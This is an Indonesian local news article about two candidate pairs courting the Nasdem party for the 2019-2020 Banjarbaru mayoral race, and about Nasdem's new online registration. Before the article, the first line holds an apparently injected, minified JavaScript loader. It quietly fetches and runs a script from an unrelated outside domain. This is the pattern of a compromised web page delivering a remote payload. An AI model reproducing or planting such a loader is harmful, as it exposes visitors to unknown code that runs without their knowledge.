(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Adu Rayu Nadjmi VS Aditya Demi Empat Kursi Nasdem

BANJARBARU, Usai PDIP, kontes cari dukungan bagi Bakal Calon (Bacalon) Walikota/Wakil Walikota Banjarbaru pindah ke DPD Partai Nasional Demokrat (Nasdem). Partai besutan tokoh nasional Surya Paloh ini membuka pendaftaran secara serentak mulai tanggal 23 September-23 Oktober 2019.

Dengan modal empat kursi pada Pileg 2019 lalu, Nasdem Banjarbaru tentu mempunyai posisi tawar cukup kuat. Tak ayal, banyak Bacalon mengincar sokongan partai ini sebagai modal. Karena suaranya lebih besar dari PDIP Banjarbaru yang hanya meraih tiga kursi.

Sekretaris DPD Nasdem Banjarbaru, Takyin Baskoro, Selasa (24/9) kepada Kanalkalimantan.com mengatakan, sampai saat ini belum ada kandidat yang mengambil formulir. “Yang secara formal, belum ada. Hanya komunikasi yang mengarah ke pendaftaran dan itu dari dua pasang Bacalon,” ujarnya.

Yang dimaksud, tentu saja pasangan incumbent Nadjmi Adhani-Darmawan Jaya Setiawan dan Aditya Mufti Ariffin-AR Iwansyah sebagai penantang.

Dikonfirmasi usai Rapat Paripurna, AR Iwansyah membenarkan bahwa dirinya telah berkomunikasi dengan petinggi-petinggi DPD Nasdem Banjarbaru. “Masih sebatas lisan saja. Untuk waktu kapan kami akan mendaftar, saya belum bisa memastikam,” kata Iwansyah yang juga Ketua Golkar Banjarbaru ini.

Senada dengan sang rival, Darmawan Jaya Setiawan dari kubu petahana, mengungkapkan bahwa masih mengatur jadwal pendaftaran dirinya bersama Nadjmi. “Sementara itu kita akan mengatur jadwal dahulu untuk proses pendaftaran,” jawabnya.

Adu rayu kedua pasang Bacalon Walikota / Wakil Walikota Banjarbaru ini terhadap Parpol besar memang sudah diperkirakan akan terjadi. Tentunya masing-masing Parpol memiliki penilaian yang berbeda. Keputusan dimana hati akan berlabuh, tetap akam ditentukan dari Pusat.

Bisa Daftar Online

Takyin Baskoro mengatakan, ada yang berbeda dalam mekanisme pendaftaran di Nasdem Banjarbaru. Proses pendaftaran yang selama ini mengharuskan Bacalon mengambil berkas formulir di kantor DPD, kini dipermudah lewat jalur online.

Mekanisme ini secara langsung, berdampak tidak adanya publikasi terhadap Bacalon yang melamar ke Partai Nasdem. Baskoro menjelaskan mekanisme tersebut setelah melalui kesepakatan rapat internal Parpol. “Karena mekanisme ini akan lebih efisien. Kita juga mengikuti perkembangan zaman yang mana Banjarbaru mengusung smart city. Jadi sekalian saja kita aplikasikan,” katanya

Lebih rincinya dalam alur pendaftaran jalur online ini, DPD Nasdem akan menyediakan Call Center yang akan siaga dan bisa dihubungi oleh Bacalon. Jika sudah dihubungi, selanjutnya pihak panitia akan mengirimkan file persyaratan pendaftaran lewat email Bacalon tersebut.

Meski begitu, untuk pengembalian formulir nantinya, Nasdem tetap memberlakukan tradisi yang berlaku selama ini (datang ke Kantor DPD Nasdem). “Di situ kita bisa melihat siapa Bacalon yang benar-benar ingin serius maju di Pilkada nanti melalui partai kami. Intinya kami ingin menjaring pasangan Walikota dan Wakil Walikota, yang sesuai dengan kebutuhan Kota Banjarbaru. Serta seirama dengan visi misi dan platform Partai Nasdem,” tegasnya.(rico)